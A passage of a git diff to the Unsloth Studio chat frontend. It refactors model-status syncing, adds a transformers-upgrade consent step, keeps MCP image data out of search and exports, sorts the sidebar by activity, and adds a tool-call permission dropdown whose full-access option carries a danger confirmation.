+    const isExternalSelectionActive = isExternalModelId(selectedCheckpoint);
+    if (statusRes.active_model && !isExternalSelectionActive) {
+      const checkpointId = resolveInferenceCheckpointId(statusRes);
+      if (checkpointId) {
+        setCheckpoint(checkpointId, statusRes.gguf_variant);
+        applyActiveModelStatusToStore(statusRes, {
+          previousCheckpoint: selectedCheckpoint,
+        });
+        // setModels(listRes...) above used catalog data, which omits audio
+        // capability. Re-apply live status so attach gates survive a refresh.
+        syncModelCapabilities(checkpointId, statusRes);
+      }
+    } else if (!statusRes.active_model && !isExternalSelectionActive) {
+      useChatRuntimeStore.setState({
+        modelRequiresTrustRemoteCode: false,
+        loadedIsMultimodal: false,
+        loadedIsDiffusion: false,
+      });
+    }
+  } catch (error) {
+    if (signal?.aborted) return;
+    const message =
+      error instanceof Error ? error.message : "Failed to load models";
+    setModelsError(message);
+    toast.error("Failed to refresh models", {
+      description: message,
+    });
+  }
+}
+
+/**
+ * Reconcile the UI after the SERVER unloaded the active model out from under it
+ * (e.g. a llama.cpp update unloads the running model to swap the binary): the
+ * model selector drops to "select model" instead of pointing at a model that now
+ * 400s on send. Imperative so the global llama-update banner (which has no
+ * chat-runtime handle) can call it.
+ *
+ * Only a LOCAL selection points at the unloaded model. An external-provider
+ * selection has no llama.cpp mirror and still works, so clearing it (which also
+ * wipes its persisted id) would drop a valid, unrelated model; skip the clear so
+ * the refresh below leaves it intact.
+ */
+export async function resyncInferenceStatusAfterServerModelChange(): Promise<void> {
+  if (!isExternalModelId(useChatRuntimeStore.getState().params.checkpoint)) {
+    useChatRuntimeStore.getState().clearCheckpoint();
+  }
+  await syncInferenceStatusToStore();
+}
+
 export function useChatModelRuntime() {
   const params = useChatRuntimeStore((state) => state.params);
   const models = useChatRuntimeStore((state) => state.models);
   const loras = useChatRuntimeStore((state) => state.loras);
-  const setModels = useChatRuntimeStore((state) => state.setModels);
-  const setLoras = useChatRuntimeStore((state) => state.setLoras);
   const setParams = useChatRuntimeStore((state) => state.setParams);
   const setModelsError = useChatRuntimeStore((state) => state.setModelsError);
   const setLastModelLoadError = useChatRuntimeStore(
     (state) => state.setLastModelLoadError,
   );
-  const setCheckpoint = useChatRuntimeStore((state) => state.setCheckpoint);
   const clearCheckpoint = useChatRuntimeStore((state) => state.clearCheckpoint);
 
   const [loadingModel, setLoadingModel] = useState<{
@@ -312,53 +401,11 @@ export function useChatModelRuntime() {
     [],
   );
 
-  const refresh = useCallback(async (options?: { signal?: AbortSignal }) => {
-    const signal = options?.signal;
-    setModelsError(null);
-    try {
-      const [listRes, statusRes, lorasRes] = await Promise.all([
-        listModels(),
-        getInferenceStatus(),
-        listLoras(),
-      ]);
-
-      // Cancellation can land while the requests above are in flight. Bail
-      // before writing backend state back -- cancelLoading already cleared it.
-      if (signal?.aborted) return;
-
-      setModels(listRes.models.map(toChatModelSummary));
-      setLoras(lorasRes.loras.map(toLoraSummary));
-
-      const selectedCheckpoint = useChatRuntimeStore.getState().params.checkpoint;
-      const isExternalSelectionActive = isExternalModelId(selectedCheckpoint);
-      if (statusRes.active_model && !isExternalSelectionActive) {
-        const checkpointId = resolveInferenceCheckpointId(statusRes);
-        if (checkpointId) {
-          setCheckpoint(checkpointId, statusRes.gguf_variant);
-          applyActiveModelStatusToStore(statusRes, {
-            previousCheckpoint: selectedCheckpoint,
-          });
-          // setModels(listRes...) above used catalog data, which omits audio
-          // capability. Re-apply live status so attach gates survive a refresh.
-          syncModelCapabilities(checkpointId, statusRes);
-        }
-      } else if (!statusRes.active_model && !isExternalSelectionActive) {
-        useChatRuntimeStore.setState({
-          modelRequiresTrustRemoteCode: false,
-          loadedIsMultimodal: false,
-          loadedIsDiffusion: false,
-        });
-      }
-    } catch (error) {
-      if (signal?.aborted) return;
-      const message =
-        error instanceof Error ? error.message : "Failed to load models";
-      setModelsError(message);
-      toast.error("Failed to refresh models", {
-        description: message,
-      });
-    }
-  }, [setCheckpoint, setLoras, setModels, setModelsError, setParams]);
+  const refresh = useCallback(
+    (options?: { signal?: AbortSignal; includeLoras?: boolean }) =>
+      syncInferenceStatusToStore(options),
+    [],
+  );
 
   const cancelLoading = useCallback(() => {
     const model = loadingModelRef.current;
@@ -587,6 +634,30 @@ export function useChatModelRuntime() {
               is_lora: isLora,
               gguf_variant: ggufVariant ?? null,
             });
+            // Upgrade consent runs before the security dialogs; Accept installs and the load continues.
+            if (validation.requires_transformers_upgrade) {
+              const upgraded = await confirmTransformersUpgradeIfNeeded({
+                modelName: modelId,
+                upgrade: validation.transformers_upgrade,
+                // No installable release: custom-code models may fall back to the trust_remote_code gate below.
+                trustRemoteCodeFallback: validation.requires_trust_remote_code,
+              });
+              // The install unloads the previous model before the swap (even when
+              // the swap then fails), so any exit after this point must roll back.
+              // False for the custom-code fallback, which resolves without installing.
+              if (
+                useTransformersUpgradeDialogStore
+                  .getState()
+                  .consumeServerUnloadedChat()
+                && currentCheckpoint
+              ) {
+                previousWasUnloaded = true;
+              }
+              if (!upgraded) {
+                throw new Error(getTransformersUpgradeRequiredMessage(displayName));
+              }
+            }
+            if (abortCtrl.signal.aborted) throw new Error("Cancelled");
             // Open the consent dialog when the model needs custom-code consent or has a
             // flagged unsafe file. Fires even when trustRemoteCode is preset on, since the
             // worker requires a matching fingerprint that only the dialog produces.
@@ -727,7 +798,8 @@ export function useChatModelRuntime() {
                 : (["low", "medium", "high"] as const);
             const existingReasoningEffort = useChatRuntimeStore.getState().reasoningEffort;
             const clampedReasoningEffort =
-              reasoningStyle === "enable_thinking_effort"
+              reasoningStyle === "enable_thinking_effort" ||
+              reasoningStyle === "reasoning_effort"
                 ? clampReasoningEffortToLevels(
                     existingReasoningEffort,
                     reasoningEffortLevels,
@@ -812,6 +884,23 @@ export function useChatModelRuntime() {
               }
             }
             await refresh({ signal: abortCtrl.signal });
+            if (
+              !isLora &&
+              !(loadResponse.is_lora ?? false) &&
+              !nativePathToken &&
+              !isLocalModelPath(modelId) &&
+              !isExternalModelId(modelId)
+            ) {
+              if (loadResponse.is_gguf || isGguf || ggufVariant) {
+                recordLastLocalModelLoad({
+                  id: modelId,
+                  kind: "gguf",
+                  ggufVariant: ggufVariant ?? null,
+                });
+              } else {
+                recordLastLocalModelLoad({ id: modelId, kind: "model" });
+              }
+            }
             // A successful load owns the shared (pick-unscoped) settings fields,
             // so any surviving stage is stale: the just-loaded pick itself, or a
             // pick queued for a different model mid-load whose knobs this load
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-search-index.ts b/studio/frontend/src/features/chat/hooks/use-chat-search-index.ts
index 841f2c2a2f..9badd43bc3 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-search-index.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-search-index.ts
@@ -28,13 +28,43 @@ const SEARCH_REBUILD_DEBOUNCE_MS = 300;
 // Keys whose values are base64 image/audio payloads, not searchable text.
 const BINARY_KEY = /b64|base64|^(images?|audio|video)$/i;
 
+// Drop a trailing __MCP_IMAGES__ envelope only when it is the valid JSON image
+// array appended by the backend, so legit tool text that merely mentions the
+// marker stays searchable. (base64 runs below are scrubbed regardless.)
+function stripMcpImageSuffix(value: string): string {
+  const marker = "\n__MCP_IMAGES__:";
+  const idx = value.lastIndexOf(marker);
+  if (idx === -1) return value;
+  try {
+    const images: unknown = JSON.parse(value.slice(idx + marker.length));
+    if (
+      Array.isArray(images) &&
+      images.length > 0 &&
+      images.every(
+        (img) =>
+          typeof img === "object" &&
+          img !== null &&
+          typeof (img as Record<string, unknown>).data === "string" &&
+          typeof (img as Record<string, unknown>).mimeType === "string",
+      )
+    ) {
+      return value.slice(0, idx);
+    }
+  } catch {
+    // Not a valid envelope; leave the text intact.
+  }
+  return value;
+}
+
 // Readable text from tool args/results, dropping base64 image/audio blobs so
 // they never bloat the index (object fields by key, plus data URLs / long
 // base64 runs and the "__IMAGES__" suffix inside strings).
 function searchableText(value: unknown, depth = 0): string {
   if (typeof value === "string") {
-    const cut = value.indexOf("\n__IMAGES__:");
-    return (cut === -1 ? value : value.slice(0, cut))
+    let text = stripMcpImageSuffix(value);
+    const cut = text.indexOf("\n__IMAGES__:");
+    if (cut !== -1) text = text.slice(0, cut);
+    return text
       .replace(/data:[^;,\s]+;base64,[A-Za-z0-9+/=]+/g, " ")
       .replace(/[A-Za-z0-9+/]{120,}={0,2}/g, " ");
   }
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-sidebar-items.ts b/studio/frontend/src/features/chat/hooks/use-chat-sidebar-items.ts
index 55d7777e43..0a0df1139b 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-sidebar-items.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-sidebar-items.ts
@@ -27,16 +27,21 @@ export interface SidebarItem {
   id: string;
   title: string;
   createdAt: number;
+  updatedAt: number;
   isFork?: boolean;
   projectId?: string | null;
 }
 
+function lastActivityAt(thread: ThreadRecord): number {
+  return thread.updatedAt ?? thread.createdAt;
+}
+
 export function groupThreads(
   threads: ThreadRecord[],
   archived = false,
 ): SidebarItem[] {
   const items: SidebarItem[] = [];
-  const seenPairs = new Set<string>();
+  const pairItems = new Map<string, SidebarItem>();
 
   for (const t of threads) {
     // Coerce archived to a boolean before comparing. Legacy threads (from the
@@ -48,30 +53,35 @@ export function groupThreads(
       continue;
     }
     if (t.pairId) {
-      if (seenPairs.has(t.pairId)) {
+      const existing = pairItems.get(t.pairId);
+      if (existing) {
+        existing.updatedAt = Math.max(existing.updatedAt, lastActivityAt(t));
         continue;
       }
-      seenPairs.add(t.pairId);
-      items.push({
+      const item: SidebarItem = {
         type: "compare",
         id: t.pairId,
         title: t.title,
         createdAt: t.createdAt,
+        updatedAt: lastActivityAt(t),
         projectId: t.projectId ?? null,
-      });
+      };
+      pairItems.set(t.pairId, item);
+      items.push(item);
     } else if (!t.pairId) {
       items.push({
         type: "single",
         id: t.id,
         title: t.title,
         createdAt: t.createdAt,
+        updatedAt: lastActivityAt(t),
         isFork: Boolean(t.forkedFromThreadId),
         projectId: t.projectId ?? null,
       });
     }
   }
 
-  return items.sort((a, b) => b.createdAt - a.createdAt);
+  return items.sort((a, b) => b.updatedAt - a.updatedAt);
 }
 
 // Streaming fires CHAT_HISTORY_UPDATED_EVENT per chunk. Debounce so each quiet
@@ -84,6 +94,7 @@ export function useChatSidebarItems(options?: {
   requireMessages?: boolean;
 }) {
   const [allThreads, setAllThreads] = useState<ThreadRecord[]>([]);
+  const [loaded, setLoaded] = useState(false);
   const enabled = options?.enabled ?? true;
   const requireMessages = options?.requireMessages ?? true;
 
@@ -111,6 +122,7 @@ export function useChatSidebarItems(options?: {
         // were in flight, or if the effect was torn down.
         if (cancelled || seq !== requestSeq) return;
         setAllThreads(threads);
+        setLoaded(true);
       } catch (error) {
         if (isExpectedBackgroundChatStorageError(error)) {
           return;
@@ -144,7 +156,7 @@ export function useChatSidebarItems(options?: {
   const archivedItems = groupThreads(allThreads ?? [], true);
   const canCompare = useChatRuntimeStore((s) => Boolean(s.params.checkpoint));
 
-  return { items, archivedItems, canCompare };
+  return { items, archivedItems, canCompare, loaded };
 }
 
 function cancelIfRunning(threadId: string): void {
diff --git a/studio/frontend/src/features/chat/index.ts b/studio/frontend/src/features/chat/index.ts
index 75749b0040..a8b5fc23ad 100644
--- a/studio/frontend/src/features/chat/index.ts
+++ b/studio/frontend/src/features/chat/index.ts
@@ -17,6 +17,12 @@ export {
   type Preset,
 } from "./chat-settings-sheet";
 export { useChatRuntimeStore } from "./stores/chat-runtime-store";
+export {
+  preferFullToolOutput,
+  toolOutputKey,
+  useToolPaneScope,
+} from "./tool-output-scope";
+export { PermissionModeDropdown } from "./permission-mode-select";
 export { useChatSearchStore } from "./stores/chat-search-store";
 export { usePinnedChatsStore } from "./stores/pinned-chats-store";
 export { useChatPreferencesStore } from "./stores/chat-preferences-store";
@@ -25,12 +31,21 @@ export {
   usePlusMenuPrefsStore,
   type PlusMenuItemId,
 } from "./stores/plus-menu-prefs-store";
-export { useChatModelRuntime } from "./hooks/use-chat-model-runtime";
-export { isExternalModelId } from "./external-providers";
+export {
+  useChatModelRuntime,
+  resyncInferenceStatusAfterServerModelChange,
+} from "./hooks/use-chat-model-runtime";
+export {
+  customProviderDisplayName,
+  isExternalModelId,
+  parseExternalModelId,
+} from "./external-providers";
+export { useExternalProvidersStore } from "./stores/external-providers-store";
 export { ChatSearchDialog } from "./components/chat-search-dialog";
 export { setTrainingCompareHandoff } from "./lib/training-compare-handoff";
 export type { ProjectRecord } from "./types";
 export { clearAllChats, countAllChats } from "./utils/clear-all-chats";
+export { listStoredChatThreads } from "./utils/chat-history-storage";
 export { ArtifactCard } from "./artifacts/artifact-card";
 export {
   useChatArtifactsStore,
diff --git a/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts b/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts
index 9386650fee..a4b5f848e2 100644
--- a/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts
+++ b/studio/frontend/src/features/chat/lib/apply-inference-status-to-store.ts
@@ -3,16 +3,19 @@
 
 import { getInferenceStatus } from "../api/chat-api";
 import { mergeBackendRecommendedInference } from "../presets/preset-policy";
+import { clampReasoningEffortToLevels } from "../provider-capabilities";
 import {
   CHAT_REASONING_ENABLED_KEY,
-  loadOptionalBool,
   type ReasoningEffort,
   type ReasoningStyle,
+  loadOptionalBool,
   resolveToolsEnabledOnLoad,
   useChatRuntimeStore,
 } from "../stores/chat-runtime-store";
-import { isMultimodalResponse, type InferenceStatusResponse } from "../types/api";
-import { clampReasoningEffortToLevels } from "../provider-capabilities";
+import {
+  type InferenceStatusResponse,
+  isMultimodalResponse,
+} from "../types/api";
 import type { ChatModelSummary } from "../types/runtime";
 
 type LocalReasoningEffort = Extract<ReasoningEffort, "low" | "medium" | "high">;
@@ -31,7 +34,10 @@ export function normalizeSpeculativeType(
     return "ngram";
   }
   if (s === "mtp+ngram") return "mtp+ngram";
-  const parts = s.split(",").map((p) => p.trim()).filter(Boolean);
+  const parts = s
+    .split(",")
+    .map((p) => p.trim())
+    .filter(Boolean);
   const hasMtp = parts.some((p) => p === "mtp" || p === "draft-mtp");
   const hasNgram = parts.some(
     (p) => p === "ngram" || p === "ngram-mod" || p === "ngram-simple",
@@ -165,7 +171,8 @@ export function applyActiveModelStatusToStore(
   const currentSpecType = normalizeSpeculativeType(status.speculative_type);
   const prevState = useChatRuntimeStore.getState();
   const clampedReasoningEffort =
-    reasoningStyle === "enable_thinking_effort"
+    reasoningStyle === "enable_thinking_effort" ||
+    reasoningStyle === "reasoning_effort"
       ? clampReasoningEffortToLevels(
           prevState.reasoningEffort,
           reasoningEffortLevels,
@@ -197,6 +204,12 @@ export function applyActiveModelStatusToStore(
     ggufContextLength: currentGgufContextLength,
     ggufMaxContextLength,
     ggufNativeContextLength,
+    // A non-GGUF status must also drop a stale native-path token: without this the
+    // isGguf OR (activeGgufVariant || activeNativePathToken || ggufContextLength)
+    // stays true after switching from a native GGUF to a transformers model, so a
+    // Codex-only detection would auto-select for a model its preflight rejects. A real
+    // GGUF load reports is_gguf: true, so its token is preserved (the load path owns it).
+    ...(status.is_gguf ? {} : { activeNativePathToken: null }),
     modelRequiresTrustRemoteCode: status.requires_trust_remote_code ?? false,
     defaultChatTemplate: nextDefaultChatTemplate,
     loadedIsMultimodal: isMultimodalResponse(status),
@@ -245,7 +258,7 @@ export function applyActiveModelStatusToStore(
     const mid = checkpointId.toLowerCase();
     if (mid.includes("qwen3.5") || mid.includes("qwen3.6")) {
       const sizeMatch = mid.match(/(\d+\.?\d*)\s*b/);
-      if (sizeMatch && parseFloat(sizeMatch[1]) < 9) {
+      if (sizeMatch && Number.parseFloat(sizeMatch[1]) < 9) {
         reasoningDefault = false;
       }
     }
@@ -281,8 +294,7 @@ export async function tryAdoptServerActiveModel(): Promise<boolean> {
   }
 
   // Re-check after the await: keep a checkpoint the user picked meanwhile.
-  const previousCheckpoint =
-    useChatRuntimeStore.getState().params.checkpoint;
+  const previousCheckpoint = useChatRuntimeStore.getState().params.checkpoint;
   if (previousCheckpoint) {
     return true;
   }
diff --git a/studio/frontend/src/features/chat/permission-mode-select.tsx b/studio/frontend/src/features/chat/permission-mode-select.tsx
new file mode 100644
index 0000000000..4277c1bfcf
--- /dev/null
+++ b/studio/frontend/src/features/chat/permission-mode-select.tsx
@@ -0,0 +1,338 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  ChevronDown,
+  CircleAlert,
+  CircleOff,
+  Hand,
+  ShieldCheck,
+  XIcon,
+} from "lucide-react";
+import { useState } from "react";
+
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from "@/components/ui/alert-dialog";
+import { Button } from "@/components/ui/button";
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  DropdownMenuTrigger,
+} from "@/components/ui/dropdown-menu";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
+import { Tick02Icon } from "@/lib/tick-icon";
+import { cn } from "@/lib/utils";
+import { HugeiconsIcon } from "@hugeicons/react";
+import {
+  type PermissionMode,
+  useChatRuntimeStore,
+} from "./stores/chat-runtime-store";
+
+/**
+ * Permission levels for the Bypass permissions dropdowns (General settings,
+ * chat settings sheet, composer "+" menu). Off sits last as the toggle that
+ * turns the feature off entirely.
+ */
+export const PERMISSION_MODE_OPTIONS: readonly {
+  value: PermissionMode;
+  label: string;
+  description: string;
+  icon: typeof Hand;
+}[] = [
+  {
+    value: "ask",
+    label: "Ask for approval",
+    description: "Always ask before tool calls edit files or use the internet",
+    icon: Hand,
+  },
+  {
+    value: "auto",
+    label: "Approve for me",
+    description: "Only ask for actions detected as potentially unsafe",
+    icon: ShieldCheck,
+  },
+  {
+    value: "full",
+    label: "Full access",
+    description:
+      "Unrestricted: no approval prompts and the code sandbox is disabled",
+    icon: CircleAlert,
+  },
+  {
+    value: "off",
+    label: "Off",
+    description: "Turn off bypass permissions",
+    icon: CircleOff,
+  },
+] as const;
+
+export function permissionModeOption(mode: PermissionMode) {
+  return (
+    PERMISSION_MODE_OPTIONS.find((option) => option.value === mode) ??
+    PERMISSION_MODE_OPTIONS[0]
+  );
+}
+
+/** The option rows shared by every permission dropdown/submenu. Non-full
+ *  levels apply directly; picking Full access must go through the caller's
+ *  danger confirmation, so it's a separate callback. */
+export function PermissionModeMenuItems({
+  onRequestFullAccess,
+}: {
+  onRequestFullAccess: () => void;
+}) {
+  const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
+  const setPermissionMode = useChatRuntimeStore((s) => s.setPermissionMode);
+
+  return (
+    <>
+      {PERMISSION_MODE_OPTIONS.map((option) => (
+        <DropdownMenuItem
+          key={option.value}
+          onSelect={() => {
+            // Reselecting the active level toggles the feature off.
+            if (option.value === permissionMode) {
+              setPermissionMode("off");
+            } else if (option.value === "full") {
+              onRequestFullAccess();
+            } else {
+              setPermissionMode(option.value);
+            }
+          }}
+          className={cn(
+            "items-start gap-2 py-2",
+            permissionMode === option.value && "font-medium",
+            option.value === "full" &&
+              permissionMode === "full" &&
+              "text-bypass",
+          )}
+        >
+          <option.icon className="mt-0.5 size-4 shrink-0" strokeWidth={2} />
+          <span className="flex min-w-0 flex-1 flex-col gap-0.5">
+            <span className="text-[13px] leading-tight">{option.label}</span>
+            <span className="text-xs font-normal leading-snug text-muted-foreground">
+              {option.description}
+            </span>
+          </span>
+          {permissionMode === option.value ? (
+            <HugeiconsIcon
+              icon={Tick02Icon}
+              strokeWidth={2}
+              className="ml-auto mt-0.5 size-4 shrink-0"
+            />
+          ) : null}
+        </DropdownMenuItem>
+      ))}
+    </>
+  );
+}
+
+/** Danger confirmation shown before Full access turns on. Self-contained so
+ *  the dropdown works outside the chat page (e.g. the Settings dialog). */
+export function FullAccessConfirmDialog({
+  open,
+  onOpenChange,
+}: {
+  open: boolean;
+  onOpenChange: (open: boolean) => void;
+}) {
+  const setPermissionMode = useChatRuntimeStore((s) => s.setPermissionMode);
+
+  return (
+    <AlertDialog open={open} onOpenChange={onOpenChange}>
+      <AlertDialogContent size="sm">
+        <AlertDialogHeader>
+          <AlertDialogTitle>Enable Full access?</AlertDialogTitle>
+          <AlertDialogDescription>
+            Full access (Bypass permissions) is dangerous since the AI model
+            might delete, corrupt your machine, and or cause real world damage
+            to you or the world - only accept if you are certain
+          </AlertDialogDescription>
+        </AlertDialogHeader>
+        <AlertDialogFooter>
+          <AlertDialogCancel>Cancel</AlertDialogCancel>
+          <AlertDialogAction
+            variant="destructive"
+            className="!bg-destructive !text-destructive-foreground hover:!bg-destructive/90"
+            onClick={() => {
+              setPermissionMode("full");
+              onOpenChange(false);
+            }}
+          >
+            I understand
+          </AlertDialogAction>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  );
+}
+
+/**
+ * Select-style dropdown (like the MCP composer menu) for picking the
+ * permission level. Used in General settings and the chat settings sheet.
+ */
+export function PermissionModeDropdown({
+  side = "bottom",
+  align = "end",
+  triggerClassName,
+}: {
+  side?: "top" | "bottom";
+  align?: "start" | "end";
+  triggerClassName?: string;
+} = {}) {
+  const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
+  const [confirmOpen, setConfirmOpen] = useState(false);
+  const active = permissionModeOption(permissionMode);
+  const ActiveIcon = active.icon;
+
+  return (
+    <>
+      <DropdownMenu>
+        <DropdownMenuTrigger asChild={true}>
+          <Button
+            variant="outline"
+            size="sm"
+            className={cn(
+              "gap-1.5",
+              triggerClassName,
+              // Last so a text color in triggerClassName cannot override it.
+              permissionMode === "full" &&
+                "text-bypass hover:text-bypass border-bypass/50",
+            )}
+            aria-label="Permission level for tool calls"
+          >
+            <ActiveIcon className="size-3.5 shrink-0" strokeWidth={2} />
+            <span className="min-w-0 flex-1 truncate text-left">
+              {active.label}
+            </span>
+            <ChevronDown className="size-3.5 shrink-0 opacity-60" />
+          </Button>
+        </DropdownMenuTrigger>
+        <DropdownMenuContent
+          side={side}
+          align={align}
+          className="w-[300px]"
+          avoidCollisions={true}
+        >
+          <DropdownMenuLabel>
+            How should tool calls be approved?
+          </DropdownMenuLabel>
+          <PermissionModeMenuItems
+            // Defer past the menu-close focus restoration so the dialog's
+            // focus trap isn't broken by the dropdown grabbing focus back.
+            onRequestFullAccess={() =>
+              setTimeout(() => setConfirmOpen(true), 0)
+            }
+          />
+        </DropdownMenuContent>
+      </DropdownMenu>
+      <FullAccessConfirmDialog
+        open={confirmOpen}
+        onOpenChange={setConfirmOpen}
+      />
+    </>
+  );
+}
+
+/**
+ * Composer pill (mirrors the MCP pill) showing the current permission level
+ * in the chat box; clicking opens the level dropdown. Danger-styled while
+ * Full access is on. The Full access pick routes through the store-driven
+ * BypassPermissionsConfirmDialog mounted at the chat-page root, so the
+ * warning survives this menu unmounting.
+ */
+export function PermissionModeComposerPill({
+  side = "bottom",
+}: {
+  side?: "top" | "bottom";
+} = {}) {
+  const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
+  const setBypassConfirmOpen = useChatRuntimeStore(
+    (s) => s.setBypassConfirmOpen,
+  );
+  const setPermissionMode = useChatRuntimeStore((s) => s.setPermissionMode);
+  const active = permissionModeOption(permissionMode);
+  const ActiveIcon = active.icon;
+  const fullAccess = permissionMode === "full";
+
+  // Off means the feature is off: no pill (re-enable via the "+" menu or
+  // settings, like the pre-levels bypass badge).
+  if (permissionMode === "off") return null;
+
+  return (
+    <DropdownMenu>
+      <DropdownMenuTrigger asChild={true}>
+        <button
+          type="button"
+          className="composer-pill-btn composer-pill-permissions"
+          data-pill-label={active.label}
+          data-active={fullAccess ? "true" : "false"}
+          data-variant={fullAccess ? "danger" : undefined}
+          aria-label="Permission level for tool calls"
+          title={`${active.label}: ${active.description}`}
+        >
+          {/* The icon doubles as an off switch (mirrors the MCP pill): hover
+              swaps it to an X; clicking it turns bypass permissions Off (no
+              prompts, sandbox on) without opening the menu. In compact
+              icon-only mode the glyph is the whole button, so clicks fall
+              through and open the menu instead. */}
+          <span
+            role="button"
+            aria-label="Turn off bypass permissions"
+            tabIndex={-1}
+            onPointerDown={(e) => {
+              if (e.currentTarget.closest('[data-pill-compact="true"]')) {
+                return;
+              }
+              e.stopPropagation();
+            }}
+            onClick={(e) => {
+              if (e.currentTarget.closest('[data-pill-compact="true"]')) {
+                return;
+              }
+              e.stopPropagation();
+              setPermissionMode("off");
+            }}
+            className="composer-pill-glyph cursor-pointer"
+          >
+            <ActiveIcon className="size-[15px]" strokeWidth={2} />
+            <XIcon className="composer-pill-x" />
+          </span>
+          <span>{active.label}</span>
+          <HugeiconsIcon
+            icon={ChevronDownStandardIcon}
+            strokeWidth={1.5}
+            className="composer-pill-caret size-[15px]"
+          />
+        </button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent
+        side={side}
+        align="start"
+        sideOffset={0}
+        avoidCollisions={true}
+        className="unsloth-plus-menu w-[300px]"
+      >
+        <DropdownMenuLabel>
+          How should tool calls be approved?
+        </DropdownMenuLabel>
+        <PermissionModeMenuItems
+          // Defer past the menu-close focus restoration (see PermissionModeDropdown).
+          onRequestFullAccess={() =>
+            setTimeout(() => setBypassConfirmOpen(true), 0)
+          }
+        />
+      </DropdownMenuContent>
+    </DropdownMenu>
+  );
+}
diff --git a/studio/frontend/src/features/chat/projects-page.tsx b/studio/frontend/src/features/chat/projects-page.tsx
index b9a5658a96..5e0b37895b 100644
--- a/studio/frontend/src/features/chat/projects-page.tsx
+++ b/studio/frontend/src/features/chat/projects-page.tsx
@@ -429,7 +429,7 @@ export function ProjectsPage() {
                   openProject(project.id);
                 }
               }}
-              className="group/project-card relative flex min-h-[172px] cursor-pointer flex-col rounded-[26px] bg-card p-6 text-left shadow-[0_2px_12px_-4px_rgba(0,0,0,0.10)] transition-colors duration-150 hover:bg-[#f2f2f2] dark:shadow-none dark:hover:bg-accent/30 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+              className="group/project-card relative flex min-h-[172px] cursor-pointer flex-col rounded-[26px] bg-card p-6 text-left shadow-[0_2px_12px_-4px_rgba(0,0,0,0.10)] transition-colors duration-150 hover:bg-[#f2f2f2] dark:shadow-none dark:hover:bg-accent/30 focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
             >
               <div className="flex items-start justify-between gap-2">
                 <span className="flex size-10 shrink-0 items-center justify-center rounded-[14px] bg-muted text-foreground/70 transition-colors group-hover/project-card:bg-primary/10 group-hover/project-card:text-primary">
diff --git a/studio/frontend/src/features/chat/prompt-storage/prompt-storage-dialog.tsx b/studio/frontend/src/features/chat/prompt-storage/prompt-storage-dialog.tsx
index ee3a49526f..33fc6286c0 100644
--- a/studio/frontend/src/features/chat/prompt-storage/prompt-storage-dialog.tsx
+++ b/studio/frontend/src/features/chat/prompt-storage/prompt-storage-dialog.tsx
@@ -54,6 +54,7 @@ import {
   syncStoredChatMessages,
 } from "../utils/chat-history-storage";
 import { notifyChatHistoryUpdated } from "../api/chat-api";
+import { isMcpImageToolResult } from "../api/chat-adapter";
 import { usePlusMenuPrefsStore } from "../stores/plus-menu-prefs-store";
 import type { ThreadRecord, MessageRecord } from "../types";
 
@@ -142,14 +143,6 @@ function exportAllListsCsv(entries: PromptListEntry[]): void {
   downloadBlob(`list_name,order,prompt_text\n${rows}`, "prompt-lists.csv", "text/csv");
 }
 
-function exportCollectionJsonl(prompts: PromptEntry[], lists: PromptListEntry[]): void {
-  const lines = [
-    ...prompts.map((e) => JSON.stringify({ type: "prompt", name: e.name, text: e.text })),
-    ...lists.map((e) => JSON.stringify({ type: "prompt_list", name: e.name, items: e.items })),
-  ].join("\n");
-  downloadBlob(lines, "prompt-collection.jsonl", "application/x-ndjson");
-}
-
 function contentBlocksToText(content: unknown): string {
   if (typeof content === "string") return content;
   if (!Array.isArray(content)) return JSON.stringify(content);
@@ -170,11 +163,14 @@ function contentBlocksToText(content: unknown): string {
           parts.push("[thinking]\n" + thinkText + "\n[/thinking]");
         }
       } else if (p.type === "tool-call") {
+        // Keep base64 image payloads out of every export format: use the
+        // model-visible text for MCP image results (matches chat replay).
+        const result = isMcpImageToolResult(p.result) ? p.result.text : p.result;
         parts.push(
           JSON.stringify({
             tool_call: p.toolName,
             args: p.args,
-            result: p.result,
+            result,
           }),
         );
       } else if (p.type === "image") {
@@ -299,7 +295,15 @@ function messageToOpenAI(msg: { role: unknown; content: unknown; attachments?: u
         const argsStr = p.args != null ? JSON.stringify(p.args) : (typeof p.argsText === "string" ? p.argsText : "{}");
         toolCalls.push({ id, type: "function", function: { name, arguments: argsStr } });
         if (p.result !== undefined && p.result !== null) {
-          const resultStr = typeof p.result === "string" ? p.result : JSON.stringify(p.result);
+          // Keep base64 image payloads out of exports: MCP image results carry
+          // their model-visible text alongside the data, so serialize the text
+          // (matching chat replay) instead of the full object.
+          const resultStr =
+            typeof p.result === "string"
+              ? p.result
+              : isMcpImageToolResult(p.result)
+                ? p.result.text
+                : JSON.stringify(p.result);
           toolResults.push({ role: "tool", tool_call_id: id, name, content: resultStr });
         }
       }
@@ -1117,7 +1121,7 @@ function ExportModal({
                 className={cn(
                   "flex w-full cursor-pointer items-center gap-3 rounded-lg border px-4 py-3 transition-all",
                   scope === "single"
-                    ? "border-primary/40 bg-primary/5 ring-1 ring-primary/20"
+                    ? "border-ring-strong bg-primary/5"
                     : "border-border/60 hover:border-border hover:bg-muted/30",
                 )}
               >
@@ -1140,7 +1144,7 @@ function ExportModal({
